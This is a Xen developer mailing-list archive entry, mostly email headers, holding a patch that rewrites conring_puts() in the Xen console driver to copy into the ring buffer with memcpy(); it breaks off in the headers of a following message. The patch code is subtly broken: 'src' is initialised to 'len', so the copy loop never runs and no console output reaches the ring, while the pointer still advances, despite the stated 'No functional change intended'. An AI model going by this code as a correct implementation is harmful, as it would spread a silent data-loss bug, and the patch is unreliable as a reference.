	:message-id:mime-version:references:subject:to; s=ppford; bh=x0I
	5dZqsaE9TP4bNGGGXMWIoZmxerERJuqTqO3HQvSM=; b=nb57CLJi1E5r+TvEaeZ
	sd6NNSZLdqeThL2od+HWlUKYKHtEPqnCCKSVM3WMgtBaaYrMpzV7mhlTtwHyQ+YA
	S9ZF2hskUY438nUelYhwOVy1lDejHg6N+lnWXCT7Emth7AUMtbnTh0Ts8yy0L5DI
	YrYP+inI65TNSIAKdYbTzvSOjO81iSpJogABBj9yF3m4/eqP7Jw95Xvr3ZSBE7BE
	tJ+pTqToat/l/3wB6wp/sZan6BPe7s9SSoS2GjglX58aPXMmyQlQq1XOg/E8VYsX
	d0Orlfm2uCivdi2uEySmx0eDKBzmyXTf/P/E773RWRzrwUgzxK63aQvTGuWwdUAp
	3Qg==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=N41ksUiF8RlxEpeP1il+iCdg2dI1tFm5PQtZq74xPHxBkh9zBlbWwf3ldCUeJZTnw2JpSm8n28KOZ4+QAN76rrqeSCY+9qSyR6aTrvQPNzk5zv61zaGKtLvENwgbqxwWxsoLPrRdc6YnxB9pPHhxVbqrlZs4shni7ng3TA8oQxtJn+aNtJShSb9dOjFYtE91sThGzo/9z63jDpyl8PI394jRJLFpIQRqHaHhVCkglQgGmjKLU6qo8SGG5A0HW+ThCEReGjumiMvX1VNwfhSqUOhxH06apPd5+9VGDotY1VSt2T3RHOODfKduvMNfIYjF8ZZ0KmGN5+sSfF/uGIT1mA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=x0I5dZqsaE9TP4bNGGGXMWIoZmxerERJuqTqO3HQvSM=;
 b=aOYE6jIq123x5J9b3egD5okWScHoZK4Yu9y6kUEXkWSDmAxE8HTdXZNJtKTYYvTyeeEFtfUUuswOvDAx9dhQ4jfgX9gOwxY7Th1QAWNQcGQSW3nhhkpDnrcFh/yX5fxWP4hYsSMty9xNT808CO9GscddhtSmx8nQV2iAqPV+Lu5WmzZ2rKcx4ZBVf4kFzNCZYW89oJCUaQ0fVts0O/9dzfAASDkkS4GZsayEESVJdIfKgm5e2ihXNYafaBuRO9MoFueKPvITJYP9Ll4W+Sy6B1NhJIZn4KZDbCNrascJmjhm54iv6YJZ+os27SFmyXVDMd4lLUp3GYuQ8yCqayzyzw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=x0I5dZqsaE9TP4bNGGGXMWIoZmxerERJuqTqO3HQvSM=;
 b=kXEHfHCktPUjXS00n5a2EbY9CCqm2wfTXlvH5z22RogRT7yJyeddorfEqs2NiWaHADa9loVOL037Uuxu+XrRnvupATLmlTz3MIUy81LU9pjXtf9gZ1znDQTf8/l8hBqU9naU3y37MpRaqkdzBH2IiGfTMXu/wtERt0nh0ze0zPs=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=x0I5dZqsaE9TP4bNGGGXMWIoZmxerERJuqTqO3HQvSM=; b=
	lwm3EOX7e5GWePcV3gGY9WTfl069yVKTGE1J7LWHhB667hA7Rluv+vLEC7Ax0hDX
	vQIObzZbvE4W6qnKmFFBQPNKnZGQF3YRT7LD/A6QjtqsgY+63ImrPVdTTFxle9UB
	ghfFArjk5/Ru/zbEHj7foSYR7D3bmQc8s/MhXPNP49+hgqSD5HCxuLnCW+QGiRO3
	BG+vbYLH7XEDuiujAW6e6xjNKB+1914BVeN1IUjKpNb20IWqo9D4uQGV0suxJYVQ
	3mzSXdpHhCaqveGAPY9y0ZjSYvDmhw3ouD++iXW/CoUwWYdyxeAOavnlKMrRGxpM
	yUaA1rxeNs4br582t8Qj5A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=x0I5dZq
	saE9TP4bNGGGXMWIoZmxerERJuqTqO3HQvSM=; b=r4epTvKpHSUzxwvbRgV/pBG
	ucwuNhOf01gVQ4pdafFPKeRTd/eDjRPVF2XdVQdsWZqMVMEfiIFZHl+AO6RUqjWq
	O3vM0JGaHkeJOVYq63aml3nq4ESlktvnpYnr8U2Yc9hERbGadiiXf9RnJaEKGbMl
	7QKrZBCD6FoJyR6jkqFBLJRY37qL6Phs6mvqRLdzCc92W1bw5aYHlThsm9gvHqcA
	LgdKAAz+xx4qiZ2OvxSrQYYn36T5IVgwCdBOwyFU1wBAz9wnuft39YXdOewegg6s
	v22oujYED5VfVMKrgI5wInxQEsc+dF84jqv41122vFzHBBqTl0mTMx2LbQ6IGFw=
	=
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obewwrUDbAJcNobewwBr4V
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 5/7] xen/console: use memcpy() in conring_puts()
Date: Mon, 27 Jul 2026 23:50:47 -0700
Message-ID: <20260728065049.1318143-6-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260728065049.1318143-1-dmukhin@ford.com>
References: <20260728065049.1318143-1-dmukhin@ford.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 bulkscore=0 malwarescore=0 adultscore=0 spamscore=0
 suspectscore=0 phishscore=0 classifier=typeunknown authscore=0 authtc=
 authcc= route=outbound adjust=0 reason=mlx scancount=1
 engine=8.22.0-2606150000 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: DS2PEPF000061C1:EE_|DS1PR16MB6596:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: d11fd38b-54b5-40c2-0ae8-08deec74a733
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|82310400026|36860700016|1800799024|23010399003|18002099003|22082099003|11063799006|56012099006|10067099003;
X-Microsoft-Antispam-Message-Info:
	ooSIM5LNq2EHNfQZ5JQC02UfKem32DV5Zhjuz3qyYE0/MA+WJoGCHLlWjHvOT9Y2He8KHJRQtQgsTYQxweHXSDjR85tfigx6B5W9Pnb3/ZxXq4Y/1wmKkpzB9zlVvOa6hlrsqbCQD4nQpQQIPcnDGOPtxsXGCoy0jEsG7+zI+xFG5Dq6QBPk0sjBoZp0ZN0EsKzO+La3YgE02SyrDjLHb8Z472zldTGUaQ6cxmTPiIrPMAUltnaPaYGqMBQrCXcYWlqD5tfo60w64zKHzDi9UKAxdjx3AJa2lu6YqZapBIlKaKZFlOKp9jAzWbnTbc63gtvViTv7nnA6NxWB5TS0LjFAbl8oZsFAfbGJ1SHUMoCvdwbKz3oVBRHrKV6qsE83y1o1ypWhpaDQlLngkwYwkVZ3k5jolOWOP9xAPLChjr/JAqhxcjkVTGYrOi5lYSnXLCS2t5rBZaAKxgvqUqMH5DI7EIvzi0j4uqHbkp9Qv9US2/vRHz3MhR9OOOdzbOidysBKVx0h0vRVF6Ux2risl4711uaCH5Vizq9JtoC0kX78MJzhmkZn0bEiR3Cj7c2IH9Wm2/90F9/uRldEvdtz4623qX1iraw+laM1fC3uA4/HXEk2PGl/40DKTPTT4RP5bYw+Z2ivLc4jn0VW9RBGiN4YeCk6qfL8fDvfn+RzIlwYQMHbqziGFdzBbYyciRnoTVwTEfzfA0IdMsO1dI9EEA==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(82310400026)(36860700016)(1800799024)(23010399003)(18002099003)(22082099003)(11063799006)(56012099006)(10067099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	/3O/OcSteh1jHtFCkd4sPPtoa9W9p0Qeo01gdKEan78APQ8CeEDbUCV/ushXSRcaWP17nW4YqoUjhUKqkdiW82mHP6CrL953MV0VCxft1Q4h0qx3DFZntalHJObtDOgqgYQfHUbpCKC0stZ9mMs7P0Jq0PEw9ZphB1VJ7dOQEmMDSO3NuRMkBOV0n36GSrDiFt2Hb/VE58gHZ/sWpqpA2X/l8qYwJBSpHI5/KVxbFHNWtHU7fcfUzLAjgFiuGPXk5Dr3LYe9UbJJiCYWEh/RUtnmglTj/WkVi1xuHtYTMcYDkTQplt7l6sJ6YriM+vvjh1QYNW/bVRkz3G/4G1gHbKt71nYBAe1WNzZ/IWngFk4TlwJNeBJx+UqQrx5jq1m6nD27gCHhlxcZzRVLW4/kitgN75iK/Gn3rF90O2sMiZFVBlpr0An0Yz3A5Tq14yZ/
X-Exchange-RoutingPolicyChecked:
	T5llKJdLoAv51odNKDpH4HhRxvROBddmI1Oe8nWxoDYN/7c7aEvDb5jfFy0JcmsNt1ZPW7fJh6majwZJ1WdZGTtU82IFNU0B7CksUAZZs1vk1C1SOvjhJ6yl51FgWQBgafU2qLWkfkRkPgkYt8vb6m6ULQ0aHcZFFkSJOHIuDEHGfMDTPEki+OOZlygEMIM8LVCQ3t21ViokF9151D/SPtFXJ+G1UQbojK9PXwY9mP1sVi1Xbrb67pmpQc+BjXNz3tMnPsof3GXUavokyDW/HmYBSaSHQjJP5ypB7UpEfp0be7cm+MdNSpGowZgZYilkLLaeTfE9yZWb0WxBev10Tw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	86UdC+CatOLaPnhwIr46ntpbscON8hx+WNdbESLx5AuvKjgT7Bf4iqB6lRFcb2AbaGQSymAD71+63A2hGM9SqwFhMBIP6LkGd8M+UBRPIycjysUx7Br6X99PA2c1Eqw/w/dBd6mXN+eR0ca3K3QODbS4C6XcdmClv7b2MejHYL4rXwIysnxUbMh/AbUfcyYCSMBFAZIWKFpXYQmQ9mDwNt+R4QUkk0XEJM6HHqfIlTp7Pt+Y1YMLLF7x45mr5YqN9hLWUQF952scH0V7ba+psS8a6lP0OUf+8sEOGBocF4K1V1Rjzga6FxiuFcmULiyp0FMeeH5AXB6iZgyFu25ZoJkg+Z/f5Eltsfek/MVI2rfUj11+neQv9GKvbZ54BaQp0qa1jchRXY+zN6q+frAPXaJMz05KOrmdAQq7tBdu5XVSf9ZvGYD224al9cY35mRne+k5jswMg6/XfIVEFMNyTNT/+wN+Grz9iedrjQoQL6ABWzsFEV9TsuyLLOGn1suI9ZH/cYkruEQAzMTlUygpJhLmoi8grTTynSdXNw9gopvG1vXXiD0waRvRMZdEsbtxmKe9OQkWq5+DMZ27ZSkWQBVGNgckIoSVvjaXX3PoSuRpwIT+xASKtc1TqvWIAKDI3MrrPJA9RokiMHj2+jQHNQ==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:29.6566
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: d11fd38b-54b5-40c2-0ae8-08deec74a733
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	DS2PEPF000061C1.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS1PR16MB6596
X-Authority-Analysis: v=2.4 cv=O5cJeh9W c=1 sm=1 tr=0 ts=6a685175 cx=c_pps
 a=ZVLNonFp53krOPJecICuKg==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=-OawqTZBqJjt90xPb8wn:22 a=cbNQJ9GKAAAA:8
 a=xRmHRjTGlWJa7SWEWMMA:9 a=P0bj-C3X3jJDpopQwM1U:22
X-Proofpoint-ORIG-GUID: DuVj7qgqzrhxCe7c8xzLf6CXw6xY1E3J
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX66/I7KAuRc77
 uIMczz5bOEzWUeEcV/mdKfUuabS/9msMD/UJ/iKl+fBegvbQIdvTqd5KhI3vdHH0J2nqssHDFlC
 b2cr8/h9KbdwEeCMUnt4QjFCAVMlC5CUckV2Jn1uy0l+bmvNs5+f
X-Proofpoint-GUID: DuVj7qgqzrhxCe7c8xzLf6CXw6xY1E3J
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX7J9eLn0yQVtW
 2Fb/YCyp2NTCXE53ETt5By85WPOsXInS5Anc/0b7ZXRicfynTaZZ6gU4LpWZgXbHEL22Ou6tJwi
 d0ogxQjt4Jvf2giC91lzIg7GYmshqoaI/Xm+9XahTJHNhBWJpue8Kx8F2POXTb3qalmz243jMzi
 dwUWa4F1HC7CKFNg3PyXP6XP9H1xtKuaEhuw5zeC6jeiSaoI7j/qOFT2Oua/67+drBsovMCoOsX
 jQBc+tzJ0wonBmeMOFJkwBUGm9FQoTPW4k7u5HGQOCXjYxL/UcuCKEtcocVvMjOWaQLjsMpS6XS
 dZ51BbMjTOI6tcOd6AeHBxfxoVPCl5v1ZvhgWjxFzf5cQ+shiHeCdz5JA8mVApIjbs073owKM+p
 CFM7rqNczee8/gv7QiIoUTOkvAIFYHAkILXHxs4D5KKAd6yNkpi6nzDEU5XLoIP6EldH4KKIPVi
 88FYbNPGDLRQGzVexNA==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0
 phishscore=0 bulkscore=0 lowpriorityscore=0 malwarescore=0 priorityscore=1501
 impostorscore=0 adultscore=0 clxscore=1015 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-4011c0/1785221495-524DFCFC-E1160779/0/0
X-purgate-type: clean
X-purgate-size: 1528

From: Denis Mukhin <dmukhin@ford.com> 

Make conring_puts() more efficient by using memcpy()'s, rather than
copying the ring a byte at a time.

No functional change intended.

Signed-off-by: Denis Mukhin <dmukhin@ford.com>
---
Changes since v7:
- hardended len check in conring_puts()
---
 xen/drivers/char/console.c | 18 +++++++++++++++---
 1 file changed, 15 insertions(+), 3 deletions(-)

diff --git a/xen/drivers/char/console.c b/xen/drivers/char/console.c
index 09282a7a4f8e..a1b8e5f5b507 100644
--- a/xen/drivers/char/console.c
+++ b/xen/drivers/char/console.c
@@ -361,12 +361,24 @@ static DECLARE_SOFTIRQ_TASKLET(conring_tasklet, conring_notify, NULL);
 /* NB: Do not send conring VIRQs during panic. */
 static bool conring_no_notify;
 
-static void conring_puts(const char *str, size_t len)
+static void conring_puts(const char *str, unsigned int len)
 {
+    unsigned int src = len;
+
+    /* There are no callers with strings longer than PAGE_SIZE. */
+    BUG_ON(len > PAGE_SIZE);
     ASSERT(rspin_is_locked(&console_lock));
 
-    while ( len-- )
-        conring[CONRING_IDX_MASK(conringp++)] = *str++;
+    while ( src < len )
+    {
+        unsigned int dst = CONRING_IDX_MASK(conringp + src);
+        unsigned int n = min(conring_size - dst, len - src);
+
+        memcpy(&conring[dst], &str[src], n);
+        src += n;
+    }
+
+    conringp += len;
 
     if ( conringp - conringc > conring_size )
         conringc = conringp - conring_size;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372100.1619520 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf5-0002jv-28; Tue, 28 Jul 2026 06:51:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372100.1619520; Tue, 28 Jul 2026 06:51:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf4-0002jX-Qm; Tue, 28 Jul 2026 06:51:34 +0000
Received: by outflank-mailman (input) for mailman id 1372100;
 Tue, 28 Jul 2026 06:51:33 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobf2-0002fB-RB
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobf2-00FyOR-7P
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:32 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685162-bab6-0a2a0a5309dd-0a2a450181c0-44
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:32 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685170-5984-0a2a45010019-94a39217a11e-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:30 +0200
Received: from pps.filterd (m0367123.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3Zbnk509650
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:28 GMT
Received: from ph0pr06cu001.outbound.protection.outlook.com
 (mail-westus3azon11011015.outbound.protection.outlook.com [40.107.208.15])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fpcp0d74q-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:28 +0000 (GMT)
Received: from SJ0PR03CA0169.namprd03.prod.outlook.com (2603:10b6:a03:338::24)
 by SJ0PR16MB5219.namprd16.prod.outlook.com (2603:10b6:a03:4e8::19)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 06:51:24 +0000
Received: from SJ5PEPF000001CD.namprd05.prod.outlook.com
 (2603:10b6:a03:338:cafe::1) by SJ0PR03CA0169.outlook.office365.com
 (2603:10b6:a03:338::24) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.13 via Frontend Transport; Tue,
 28 Jul 2026 06:51:24 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 SJ5PEPF000001CD.mail.protection.outlook.com (10.167.242.42) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:24 +0000
Received: from pps.filterd (m0426315.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S6m19c314433
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:23 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [50.112.124.217])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4fnf1sjeh4-3
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:22 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obeqwBlw1JrM7oberw9CFy; Tue, 28 Jul 2026 06:51:22 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=A1Q
	xlu6N89ffhdYOUJ7rbtARn2NIA7nR+C8pqWl/79w=; b=Bs4/XTPBK1kTKxfQklp
	Sp7N1LqoU9P+5b4v/xe7dcek80EdP2SQLuTnGLpwhMvaLAA/i3CEeY+J4gUL0yKv
	BmuccwiRBnqEKWVgEnjSNvrS6UMxiTOw9NzJD4KqE0HjH00VwbeZmRnnEjpaztEO
	PYBc+FUU6raZIbvtxh9BnT0+clptFvCwQX677/H9Pv6WZRtSiYeN9nNOUh+uiLOl
	RDhhhHEaGX/gfDybTnFFRutFU7wLMO74NGy4Q/5jWHhuu+ZzFtPywTbCADlswLxL
	1A8aOwO7CFX5Y/dZSUdLAjgjc/73eMyV8/3iIoqvrQbou0bFvZiNG390rMbdf+5L
	KvA==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=AR6qkJXcGfRhvstwtxsE+7yDyQt/F1JBHTC6aS+1AYTOb0Kn6Fcperf2T2qh1OWZzp6o7hqTMDEoGOXhN6ZX+vyhvQV6jI3K1LL9q/07OLfKTRvUHxnrPCOWs/QmFoXKNdRpNWD2O7xmgcnE+qJT8a1QHRcW9a1NqU4Erm/cuRiEdmco9pp/XxXROouJJzsOUljfh0oswyAA9H+46XwbD1Q/pZqn+V6UHcVkwvXqy5KRCv84dY6Q4qR/DBChrkdT879deUSXkVgx4BYw5uYtRwl8t5LtRajTbCFt1QL67ANSwiAClhQUw6i6qRVjYrtXzfNCXiK7Gg/gnD8elzIYJA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=A1Qxlu6N89ffhdYOUJ7rbtARn2NIA7nR+C8pqWl/79w=;
 b=ZHTzL2KM26NB6UPgAMBZD51jK8qISnVfTeTFti4RD+UrTEqvg2pCMmo+LLMtkG0VcSUoJlCDv38MkcXmswg9PgJmK8QdLSeWS0HRemE+1uMSgWpoLLXotRF/ajSglEyt59OJC3eL90uwKq6+zNJh7qUPnQis4yAQ9Unj+9xY7uyqf7c8+kqNHlU+YEgv2/ht2dxAQ6J8OX8GMNGpaLgDJNk7wHH4UnZbla/WkEutJvzQoaZbj0tkKA471SWl8JXWsw6oa/M5R2tEa+clWJGM+GpdXJXphT2HzgpmzNaDUu6t2wr5COOvsFQMYjLCtwQ7zuUy2vhcvcXDwZGbgganyQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=A1Qxlu6N89ffhdYOUJ7rbtARn2NIA7nR+C8pqWl/79w=;
 b=ONf+jmU2Cx6ztI38CCGj+s+L9d8R1BvAmqtmXeZinak0PnrVlIJkdGRiH41Ct3xNaQrXN2hcczznuVFNBl27Rj5M/nBG/9fI4SFpLUI1cogzeHxiXTepwqthMDMGiLTlDXQAoOGWg+GYPqNohma4uwHkCieLs/kbnx/anjXpNPk=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:in-reply-to:message-id:mime-version:references:subject:to; s=
	ppserprodsaar; bh=A1Qxlu6N89ffhdYOUJ7rbtARn2NIA7nR+C8pqWl/79w=; b=
	Eq53B/zBrWE6bqRaCIMrx474LclKHofM2NLbsa1AeGCVJhz459iluFQqamSGudkQ
	mUUonRAITNi7LN7T8c9cjMlyizP5wE9hm2mBiw4EbP7OSE3oeLjCpzp1uqvpAShj
	qZ+MlSLWtKTyvlVfcwQpUf41E3gtGP7m/76IVR6zf6cyHHEeYi74MdpFA7+HJ6D/
	LpkpRuiufvy953vindac26bjqTbVqEV2v4EN6sNWVAY4THC1BClmMkAzQ0OnfP0J
	opmtOPvmSMV0nysBKDgefTAuESV0vVqRwWoRXySTAnarGNIBwZc6Oog0ISrYJSUG
	S3BWLQ8PqlmDQAZgfNxmuw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:in-reply-to:message-id
	:mime-version:references:subject:to; s=ppfserpocford; bh=A1Qxlu6
